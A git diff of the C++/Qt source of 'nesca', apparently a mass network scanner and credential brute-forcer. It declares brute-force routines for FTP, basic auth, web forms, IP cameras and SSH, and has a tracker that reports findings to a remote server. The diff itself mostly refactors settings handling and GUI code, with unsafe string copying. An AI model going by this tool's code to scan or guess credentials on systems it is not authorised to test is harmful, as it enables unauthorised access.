Sleep(secs) usleep((secs)*1000) +#define Sleep(msecs) usleep((msecs)*1000) #define WSAGetLastError() errno #define closesocket(sock) ::close((sock)) @@ -133,8 +133,13 @@ class Lexems PathStr *ps, std::vector<std::string> *lst, char *rBuff); - int _filler(int p, const char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl); - int globalSearchNeg(const char *buffcpy, char *ip, int port); + + int _filler(int p, + const char *buffcpy, + char* ipi, + int recd, + Lexems *lx, + char *hl); }; @@ -143,16 +148,39 @@ class Connector_old public: int _Updater(); - lopaStr _FTPLobby(char *ip, int port, PathStr *ps); - lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data); - lopaStr _WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal); - lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); - int _SSHLobby(char *ip, int port, std::string *buffer); + lopaStr _FTPLobby(char *ip, + int port, + PathStr *ps); + + lopaStr _BALobby(char *cookie, + char *ip, + int port, + char *path, + char *method, + char *data); + + lopaStr _WFLobby(char *cookie, + char *ip, + int port, + char *methodVal, + char *actionVal, + char *userVal, + char *passVal, + char *formVal); + + lopaStr _IPCameraBLobby(char *ip, + int port, + char *SPEC); + + int _SSHLobby(char *ip, + int port, + std::string *buffer); - //int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); - //int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); void _Connect(void *s); - int _ConnectToPort(char *ip, int port, char *hl); + + int _ConnectToPort(char *ip, + int port, + char *hl); }; diff --git a/nesca.pro b/nesca.pro index b773f97..a493743 100644 --- a/nesca.pro +++ b/nesca.pro @@ -9,6 +9,8 @@ QT += core gui multimedia greaterThan(QT_MAJOR_VERSION, 4): QT += widgets CONFIG += c++11 +QMAKE_CFLAGS += -Wno-write-strings +QMAKE_CXXFLAGS += -Wno-write-strings TARGET = nesca TEMPLATE = app diff --git a/nesca_3.cpp b/nesca_3.cpp index a2900e2..bbf5241 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -1,6 +1,4 @@ -#pragma region Decls -#pragma once -#include <QGridLayout> +#include <QGridLayout> #include <QFileDialog> #include "nesca_3.h" #include "CheckKey_Th.h" @@ -73,7 +71,7 @@ char trcSrvPortLine[32] = {0}; char trcProxy[128] = {0}; char trcSrv[256] = {0}; char trcScr[256] = {0}; -char trcPersKey[32] = {0}; +char trcPersKey[64] = {0}; char gProxyIP[64] = {0}; char gProxyPort[8] = {0}; @@ -704,7 +702,7 @@ void nesca_3::slotQoSAddLine() fnt.setFamily("Eurostile"); fnt.setPixelSize(10); - QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString(std::to_string(MaxDataVal).c_str()), fnt); + QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString::number(MaxDataVal), fnt); item->setX(215); item->setDefaultTextColor(Qt::white); QOSWait = false; @@ -747,38 +745,39 @@ void nesca_3::slotAddPolyLine() if(ME2ScanFlag) { QPainterPath path; - if (DrawerTh_ME2Scanner::polyVect.size() > 0) + if (DrawerTh_ME2Scanner::polyVect.count() > 0) { - path.moveTo(DrawerTh_ME2Scanner::polyVect[0]); + path.moveTo(DrawerTh_ME2Scanner::polyVect[0]); for (int i = 1; i < DrawerTh_ME2Scanner::polyVect.count(); ++i) { - path.lineTo(DrawerTh_ME2Scanner::polyVect[i]); + path.lineTo(DrawerTh_ME2Scanner::polyVect[i]); }; }; QGraphicsPathItem* itm = new QGraphicsPathItem(path); itm->setPen(pen2i); - DrawerTh_ME2Scanner::itmList.push_front(itm); + sceneGraph->addItem(itm); + DrawerTh_ME2Scanner::itmList.push_front(itm); int u = 0; double uu = 1.0; for (int i = 0; i < DrawerTh_ME2Scanner::itmList.count(); ++i) { - itm = DrawerTh_ME2Scanner::itmList[i]; int y = u - i - 1; - itm->setY(y); - itm->setOpacity(uu); - sceneGraph->addItem(itm); + itm = DrawerTh_ME2Scanner::itmList[i]; + itm->setY(y); + itm->setOpacity(uu); uu -= 0.027; u -= 1; }; - while (DrawerTh_ME2Scanner::itmList.count() > 38) + while (DrawerTh_ME2Scanner::itmList.count() > 38) { - sceneGraph->removeItem(DrawerTh_ME2Scanner::itmList[38]); - delete DrawerTh_ME2Scanner::itmList[38]; - DrawerTh_ME2Scanner::itmList.pop_back(); + sceneGraph->removeItem(DrawerTh_ME2Scanner::itmList[38]); + delete DrawerTh_ME2Scanner::itmList[38]; + DrawerTh_ME2Scanner::itmList.pop_back(); }; + }; } @@ -1292,6 +1291,10 @@ void nesca_3::slotBlinkMessage() }; } +void nesca_3::slotTabChanged(int index){ + if(index < 2) savedTabIndex = index; +} + void nesca_3::ChangeDispalyMode() { if(widgetIsHidden == false && tray->isVisible() == false) @@ -1341,8 +1344,8 @@ void nesca_3::switchToJobMode() void nesca_3::CheckProxy() { - saveOptions(); - _SaveBackupToFile(); + saveOptions(); + QStringList qsl; if(ui->ircProxy->text().contains(":")) { @@ -1371,8 +1374,6 @@ void nesca_3::slotIRCOfflined() void nesca_3::ConnectToIRCServer() { - saveOptions(); - _SaveBackupToFile(); QStringList qsl; if(ui->ircServerBox->text().contains(":")) { @@ -1381,14 +1382,15 @@ void nesca_3::ConnectToIRCServer() ui->ircServerBox->setText(qsl[0]); ui->serverPortBox->setText(qsl[1]); }; + if(ui->ircProxy->text().contains(":")) { qsl = ui->ircProxy->text().split(":"); ui->ircProxy->setText(qsl[0]); ui->ircProxyPort->setText(qsl[1]); - }; - saveOptions(); + }; + if(ui->ircServerBox->text() != "") { if(ui->serverPortBox->text() != "") @@ -1445,6 +1447,8 @@ void nesca_3::ConnectToIRCServer() ui->ircText->append("<span style=\"color:red;background-color:#313131;\">No IRC server specified!</span>"); }; + + saveOptions(); } void nesca_3::ChangeIRCRawLog() @@ -1475,8 +1479,8 @@ void nesca_3::ChangeNick() void nesca_3::CheckPersKey() { emitIfOK = -1; - saveOptions(); - _SaveBackupToFile(); + saveOptions(); + if(!chKTh->isRunning()) { stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); @@ -1491,8 +1495,8 @@ void nesca_3::CheckPersKey() void nesca_3::CheckPersKey(int val = -1) { emitIfOK = val; - saveOptions(); - _SaveBackupToFile(); + saveOptions(); + if(!chKTh->isRunning()) { stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); @@ -1595,6 +1599,17 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) }; return false; } + else if (obj == qwm) + { + ///TODO: raise parent window with qwm +// if(event->type() == QEvent::MouseButtonPress) +// { +// Qt::WindowFlags eFlags = windowFlags (); +// eFlags |= Qt::WindowStaysOnTopHint; +// setWindowFlags(eFlags); +// return true; +// }; + } else { if (event->type() == QEvent::KeyPress) @@ -1864,7 +1879,7 @@ void nesca_3::slotIRCGetTopic(QString str) int c = 1; -void nesca_3::slotSaveImage(QAction *qwe) +void nesca_3::slotSaveImage() { QObject *smB = this->sender(); int ci = ui->tabMainWidget->currentIndex(); @@ -1916,7 +1931,7 @@ void nesca_3::slotSaveImage(QAction *qwe) } else { - QString fn = QString::number(QT.msec()) + "_" + (PieStatFlag ? "PieStat" : "QOS") + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png"; + QString fn = QString::number(QT.msec()) + "_" + (PieStatFlag ? "PieStat" : "QoS") + "_" + (ci == 0 ? ui->ipLine->text() : ui->lineEditStartIPDNS->text()) + ".png"; QPixmap pixmap(ui->graphicLog->width(), ui->graphicLog->height()); QPainter painter(&pixmap); @@ -1949,7 +1964,7 @@ void PieStatView::contextMenuEvent(QContextMenuEvent *event) menuPS->addAction("Save image."); menuPS->popup(event->globalPos()); - connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); + connect(menuPS, SIGNAL(triggered()), gthis, SLOT(slotSaveImage())); } QLabel *msgLbl; @@ -2043,7 +2058,8 @@ void nesca_3::slotShowDataflow() MapWidgetOpened = true; ui->DataflowModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); qwm = new QWidget(); - qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow); + qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow); + qwm->installEventFilter(this); qwm->setStyleSheet( "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));" "border: 1px solid #616161;"); @@ -2186,22 +2202,26 @@ void nesca_3::slotOutData(QString ip, QString str) { _rOutPath.indexIn(str); QString prot = _rOutPath.cap(0); - if(prot.size() > 0) str.replace(prot, " <font color=\"Turquoise\">" + prot + "</font> "); + if(prot.size() > 0) str.replace(prot, "<font color=\"Turquoise\">" + prot + "</font>"); _rOutHost.indexIn(str); prot = _rOutHost.cap(1); - if(prot.size() > 0) str.replace(prot, " <font color=\"Turquoise\">" + prot + "</font> "); + if(prot.size() > 0) str.replace(prot, "<font color=\"Turquoise\">" + prot + "</font>"); + str.replace("HTTP ", "<font color=\"GoldenRod\">HTTP </font>"); str.replace("GET ", "<font color=\"GoldenRod\">GET </font>"); str.replace("POST ", "<font color=\"GoldenRod\">POST </font>"); str.replace("Host: ", "<font color=\"GoldenRod\">Host: </font>"); - str.replace("Cookie: ", "<font color=\"GoldenRod\">Cookie: </font>"); - str.replace("Accept:", "<font color=\"GoldenRod\">Accept:</font>"); + str.replace("Cookie: ", "<font color=\"GoldenRod\">Cookie: </font>"); str.replace("Accept-Language:", "<font color=\"GoldenRod\">Accept-Language:</font>"); str.replace("Accept-Charset:", "<font color=\"GoldenRod\">Accept-Charset:</font>"); str.replace("Accept-Encoding:", "<font color=\"GoldenRod\">Accept-Encoding:</font>"); - str.replace("User-Agent:", "<font color=\"GoldenRod\">User-Agent:</font>"); + str.replace("Accept:", "<font color=\"GoldenRod\">Accept:</font>"); + str.replace("User-Agent:", "<font color=\"GoldenRod\">User-Agent:</font>"); + str.replace("Proxy-Connection:", "<font color=\"GoldenRod\">Proxy-Connection:</font>"); str.replace("Connection:", "<font color=\"GoldenRod\">Connection:</font>"); str.replace("Content-Length:", "<font color=\"GoldenRod\">Content-Length:</font>"); - str.replace("Authorization:", "<font color=\"GoldenRod\">Authorization:</font>"); + str.replace("Authorization:", "<font color=\"GoldenRod\">Authorization:</font>"); + str.replace("X-Nescav3:", "<font color=\"GoldenRod\">X-Nescav3:</font>"); + _rOutProt.indexIn(str); prot = _rOutProt.cap(0); if(prot.size() > 0) str.replace(prot, "<font color=\"GoldenRod\">" + prot + "</font>"); @@ -2251,14 +2271,12 @@ void nesca_3::slotIncData(QString ip, QString str) str.replace(tagRes, "<font color=\"GoldenRod\">" + tagRes + "</font>"); }; tStr.replace(tagRes, ""); - }; - str.replace("HTTP/1.1", "<font color=\"GoldenRod\">HTTP/1.1</font>"); + }; + str.replace("HTTP/1.0", "<font color=\"GoldenRod\">HTTP/1.0</font>"); + str.replace("HTTP/1.1", "<font color=\"GoldenRod\">HTTP/1.1</font>"); str.replace("\r\n", "<br>"); RecvData->append("<font color=\"#F0FFFF\">[" + ip + "]</font><br>[HEAD]<br>" + str + "<hr><br>"); - - - _rIncTags1.setMinimal(true); _rIncInnerTags.setMinimal(true); @@ -2930,6 +2948,72 @@ void nesca_3::ConnectEvrthng() connect ( vsTh, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); + connect ( ui->tabMainWidget, SIGNAL(currentChanged(int)), this, SLOT(slotTabChanged(int)) ); +} + +void nesca_3::saveOptions() +{ + ZeroMemory(saveStartIP, sizeof(saveStartIP)); + ZeroMemory(endIP2, sizeof(endIP2)); + ZeroMemory(top_level_domain, sizeof(top_level_domain)); + ZeroMemory(gPorts, sizeof(gPorts)); + + if(savedTabIndex == 0) + { + gMode = 0; + gThreads = ui->threadLine->text().toInt(); + int indexof = ui->ipLine->text().indexOf("-"); + + if(indexof > 0) + { + strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), indexof); + if(ui->ipLine->text().indexOf("/") < 0) strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + } + else + { + if(ui->ipLine->text().indexOf("/") < 0) + { + strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); + strcat(endIP2, "-"); + strcat(endIP2, ui->ipLine->text().toLocal8Bit().data()); + } + else + { + strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), ui->ipLine->text().indexOf("/")); + }; + }; + + strncpy(gPorts, ("-p" + ui->portLine->text()).toLocal8Bit().data(), 65536); + gPorts[ui->lineEditPort->text().size()] = '\0'; + } + else if(savedTabIndex == 1) + { + gMode = 1; + gThreads = ui->lineEditThread->text().toInt(); + + strcpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); + strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); + gPorts[ui->lineEditPort->text().size()] = '\0'; + }; + + strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data()); + strcpy(trcScr, ui->lineTrackerScr->text().toLocal8Bit().data()); + strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32); + memset(trcPersKey + 32, '\0', 1); + strcpy(trcSrvPortLine, ui->trcSrvPortLine->text().toLocal8Bit().data()); + strcpy(ircServer, ui->ircServerBox->text().toLocal8Bit().data()); + strcpy(ircPort, ui->serverPortBox->text().toLocal8Bit().data()); + strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); + strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); + strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); + strncpy(gProxyIP, ui->systemProxyIP->text().toLocal8Bit().data(), 64); + gProxyIP[ui->systemProxyIP->text().size()] = '\0'; + strncpy(gProxyPort, ui->systemProxyPort->text().toLocal8Bit().data(), 8); + gProxyPort[ui->systemProxyPort->text().size()] = '\0'; + + _SaveBackupToFile(); } QString loadNescaSetup(char *resStr, char *option) { @@ -3001,12 +3085,17 @@ void RestoreSession() } else if(gMode == 1) { - ui->lineEditStartIPDNS->setText(QString(lex)); + QString qLex(lex); + qLex.replace("[az]", "\\l"); + qLex.replace("[0z]", "\\w"); + qLex.replace("[09]", "\\d"); + ui->lineEditStartIPDNS->setText(qLex); lex = strtok(NULL, " "); strcpy(gFirstDom, lex); lex = strtok(NULL, " "); - gThreads = atoi(lex); + gThreads = atoi(lex); + ui->lineEditThread->setText(QString(lex)); ui->lineILVL->setText(QString(gFirstDom)); ui->tabMainWidget->setCurrentIndex(1); @@ -3072,9 +3161,11 @@ void RestoreSession() else if (strstr(resStr, "[THREAD_DELAY]:") != NULL) ui->threadDelayBox->setText(loadNescaSetup(resStr, "[THREAD_DELAY]:").simplified()); else if (strstr(resStr, "[TIMEOUT]:") != NULL) { const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); - ui->iptoLine_value->setText(tempLex); - ui->iptoLine_value_2->setText(tempLex); - ui->iptoLine_value_3->setText(tempLex); + if(tempLex.toInt() > 0) { + ui->iptoLine_value->setText(tempLex); + ui->iptoLine_value_2->setText(tempLex); + ui->iptoLine_value_3->setText(tempLex); + } } else if (strstr(resStr, "[MAXBTHR]:") != NULL) ui->maxBrutingThrBox->setText(loadNescaSetup(resStr, "[MAXBTHR]:").simplified()); else if (strstr(resStr, "[PERSKEY]:") != NULL) ui->linePersKey->setText(loadNescaSetup(resStr, "[PERSKEY]:").simplified()); @@ -3090,7 +3181,7 @@ void RestoreSession() fclose(resFile); - stt->doEmitionGreenFoundData("Previous session restored."); + stt->doEmitionGreenFoundData("Previous session loaded."); }; } @@ -3176,8 +3267,8 @@ void _startMsgCheck() this->hide(); gthis = this; - ui->setupUi(this); - ui->widgetIRC->installEventFilter(this); + ui->setupUi(this); + ui->widgetIRC->installEventFilter(this); ui->shoutBox->installEventFilter(this); setSomeStyleArea(); ui->IRCModeChangerBut->setVisible(false); @@ -3208,8 +3299,7 @@ void _startMsgCheck() CreateVerFile(); - RestoreSession(); - saveOptions(); + RestoreSession(); PhraseLog.push_back(""); CreateMsgPopupWidget(); @@ -3317,84 +3407,6 @@ void nesca_3::ChangeDebugFileState(bool val) debugFileOK = val; } -void nesca_3::saveOptions() -{ - int ci = ui->tabMainWidget->currentIndex(); - - if(ci == 0) - { - ZeroMemory(saveStartIP, sizeof(saveStartIP)); - ZeroMemory(endIP2, sizeof(endIP2)); - ZeroMemory(top_level_domain, sizeof(top_level_domain)); - ZeroMemory(gPorts, sizeof(gPorts)); - gMode = 0; - gThreads = ui->threadLine->text().toInt(); - int indexof = ui->ipLine->text().indexOf("-"); - if(indexof > 0) - { - strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), indexof); - if(ui->ipLine->text().indexOf("/") < 0) strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); - } - else - { - if(ui->ipLine->text().indexOf("/") < 0) - { - strcpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data()); - strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); - strcat(endIP2, "-"); - strcat(endIP2, ui->ipLine->text().toLocal8Bit().data()); - } - else - { - strncpy(saveStartIP, ui->ipLine->text().toLocal8Bit().data(), ui->ipLine->text().indexOf("/")); - }; - }; - - strncpy(gPorts, ("-p" + ui->portLine->text()).toLocal8Bit().data(), 65536); - } - else if(ci == 1) - { - ZeroMemory(saveStartIP, sizeof(saveStartIP)); - ZeroMemory(endIP2, sizeof(endIP2)); - ZeroMemory(top_level_domain, sizeof(top_level_domain)); - ZeroMemory(gPorts, sizeof(gPorts)); - gMode = 1; - gThreads = ui->lineEditThread->text().toInt(); - int indexof = ui->lineEditStartIPDNS->text().indexOf("/"); - if(indexof > 0) - { - strncpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data(), indexof); - strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); - } - else - { - strcpy(saveStartIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); - strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); - strcat(endIP2, "/"); - strcat(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); - }; - - strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); - - strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); - }; - - strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data()); - strcpy(trcScr, ui->lineTrackerScr->text().toLocal8Bit().data()); - strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32); - strcpy(trcSrvPortLine, ui->trcSrvPortLine->text().toLocal8Bit().data()); - - strcpy(ircServer, ui->ircServerBox->text().toLocal8Bit().data()); - strcpy(ircPort, ui->serverPortBox->text().toLocal8Bit().data()); - strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); - strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); - strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); - strncpy(gProxyIP, ui->systemProxyIP->text().toLocal8Bit().data(), 64); - strncpy(gProxyPort, ui->systemProxyPort->text().toLocal8Bit().data(), 8); - - _SaveBackupToFile(); -} - void nesca_3::STTTerminate() { importFileName = ""; @@ -3571,7 +3583,8 @@ void nesca_3::logoLabelClicked() void nesca_3::ChangeLabelTO_ValueChanged(QString str) { - gTimeOut = str.toInt(); + int gto = str.toInt(); + gTimeOut = gto > 0 ? gto : 1; } void nesca_3::ChangeLabelThreads_ValueChanged(QString str) @@ -3722,8 +3735,7 @@ void nesca_3::appendDefaultIRCTextOut(QString str) void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString senderNick) { bool thisIsUrl = false; - -#pragma region Color-handler + int pos = 0; QString colRes; while ((pos = colr.indexIn(str, pos)) != -1) @@ -3735,8 +3747,6 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString se thisIsUrl = true; }; - -#pragma region Bold-handler int posBold = 0; QString boldRes; boldr.setMinimal(true); @@ -3750,8 +3760,6 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString se thisIsUrl = true; }; - -#pragma region underline-handler int posUnder = 0; QString underRes; under.setMinimal(true); @@ -3765,8 +3773,6 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString se thisIsUrl = true; }; - -#pragma region link-handler r.indexIn(str); QString link = r.cap(0); if(link.size() != 0) diff --git a/nesca_3.h b/nesca_3.h index ddc922d..829b650 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -52,7 +52,7 @@ public: void newListItem(QString str); static int perc; private: - + int savedTabIndex; protected: bool eventFilter(QObject* obj, QEvent *event); void run(); @@ -79,6 +79,7 @@ protected: void slotAppendIRCNick(QString str); void slotShowNicks(); void slotBlinkMessage(); + void slotTabChanged(int index); void IPScanSeq(); void DNSScanSeq(); void ImportScanSeq(); @@ -87,7 +88,7 @@ protected: void slotOutData(QString ip, QString str); void slotIncData(QString ip, QString str); void slotShowServerMsg(QString str); - void slotSaveImage(QAction *qwe); + void slotSaveImage(); void slotUpdatePie(); void slotClearLogs(); void slotRestartIRC(); diff --git a/nesca_3.ui b/nesca_3.ui index c09152b..4765a44 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -1748,8 +1748,8 @@ border-radius: 3px;</string> </property> <property name="font"> <font> - <family>Consolas</family> - <stylestrategy>PreferDefault</stylestrategy> + <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -1774,7 +1774,7 @@ border-radius: 3px;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:9pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -2537,7 +2537,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -3521,7 +3521,7 @@ background-color: #000000;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -3657,7 +3657,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index a15d1dc..5e889ee 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -1,5 +1,4 @@ -#pragma once -#include "STh.h" +#include "STh.h" #include "mainResources.h" #include "externData.h" #include "externFunctions.h" @@ -31,8 +30,11 @@ int isActive = 0; int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; int ipsstart[4], ipsend[4], overallPorts, flCounter, octet[4]; -unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; +int BA = 0; int gPingTimeout = 1; +unsigned int Activity = 0; + +unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; double ips = 0; char top_level_domain[128] = {0}; char endIP2[128] = {0}; @@ -54,10 +56,9 @@ char metaETA[256] = {0}; char metaOffline[256] = {0}; bool ErrLogFirstTime = true; bool gPingNScan = false; -unsigned long long gTargets = 0, gTargetsOverall = 1, targets, Activity = 0; +long long unsigned int gTargets = 0, gTargetsOverall = 1, targets; volatile int gThreads; volatile int cons = 0; -volatile int BA = 0; volatile int BrutingThrds = 0; volatile int threads = 20; @@ -148,11 +149,10 @@ __asm lock inc cons; }; #else - asm("lock incl cons"); + asm("lock; incl cons"); #endif - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); - + + stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); } void ConDec() @@ -165,19 +165,18 @@ void ConDec() lock dec cons; }; #else - asm("lock decl cons"); + asm("lock; decl cons"); #endif }; stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); - } void _SaveBackupToFile() { char saveStr[512] = {0}; - char saveBuffer[65536] = {0}; + char saveBuffer[4096] = {0}; char endStr[128] = {0}; if(gMode == 0 || gMode == 1) @@ -189,24 +188,24 @@ void _SaveBackupToFile() else { if(strstr(endIP2, "-") != NULL) strcpy(endStr, strstr(endIP2, "-")); - else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/")); + else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/")); else { - char temp[512] = {0}; - strncpy(temp, endIP2, 512); - strcat(endIP2, "-"); - strcat(endIP2, temp); - strcpy(endStr, strstr(endIP2, "-")); + char temp[512] = {0}; + strncpy(temp, endIP2, 512); + strcat(endIP2, "-"); + strcat(endIP2, temp); + strcpy(endStr, strstr(endIP2, "-")); }; }; - if(strlen(endIP2) > 0) + if(strlen(endStr) > 0) { strcpy(saveStr, "[SESSION]:"); strcat(saveStr, std::to_string(gMode).c_str()); strcat(saveStr, " "); if(gMode == 0) strcat(saveStr, saveStartIP); - strcat(saveStr, endStr); + strcat(saveStr, endStr); if(gMode == 1) { strcat(saveStr, " "); @@ -363,7 +362,7 @@ void _SaveBackupToFile() ZeroMemory(saveStr, sizeof(saveStr)); strcpy(saveStr, "[PERSKEY]:"); - strcat(saveStr, trcPersKey); + strncat(saveStr, trcPersKey, 32); strcat(saveStr, "\n"); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); @@ -379,7 +378,8 @@ void _SaveBackupToFile() ZeroMemory(saveStr, strlen(saveStr)); ZeroMemory(saveBuffer, strlen(saveBuffer)); -}; +} + void _saver() { while(globalScanFlag) @@ -447,7 +447,7 @@ void *_tracker() if(globalScanFlag == false && jsonArr->size() == 0) break; char rBuffT[250000] = {0}; char *msg = new char[4096]; - ZeroMemory(msg, sizeof(msg)); + ZeroMemory(msg, sizeof(*msg)); char ndbServer[64] = {0}; char ndbScriptT[64] = {0}; char ndbScript[64] = {0}; @@ -646,15 +646,15 @@ void *_tracker() delete []msg; msg = 0; }; + msg = new char[r.size() + 1024]; - ZeroMemory(msg, sizeof(msg)); + ZeroMemory(msg, sizeof(*msg)); strcpy(msg, "POST /"); strcat(msg, ndbScript); strcat(msg, " HTTP/1.1\r\nHost: "); strcat(msg, ndbServer); strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); - strcat(msg, std::to_string(r.size()).c_str()); strcat(msg, "\r\nConnection: close\r\n\r\n"); @@ -775,11 +775,12 @@ void *_tracker() ZeroMemory(msgR, sizeof(msgR)); ZeroMemory(rBuffT, sizeof(rBuffT)); - ZeroMemory(msg, sizeof(msg)); + ZeroMemory(msg, sizeof(*msg)); + if(msg != NULL) { - delete []msg; - msg = 0; + delete msg; + msg = NULL; }; CSSOCKET(sock); @@ -788,9 +789,7 @@ void *_tracker() }; } else - { - CSSOCKET(sock); - + { stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); SaveErrorLog("NS-Track", msg, rBuffT); }; @@ -887,7 +886,6 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) // return res; //} -//Connector con; #if defined(WIN32) || defined(_WIN32) || 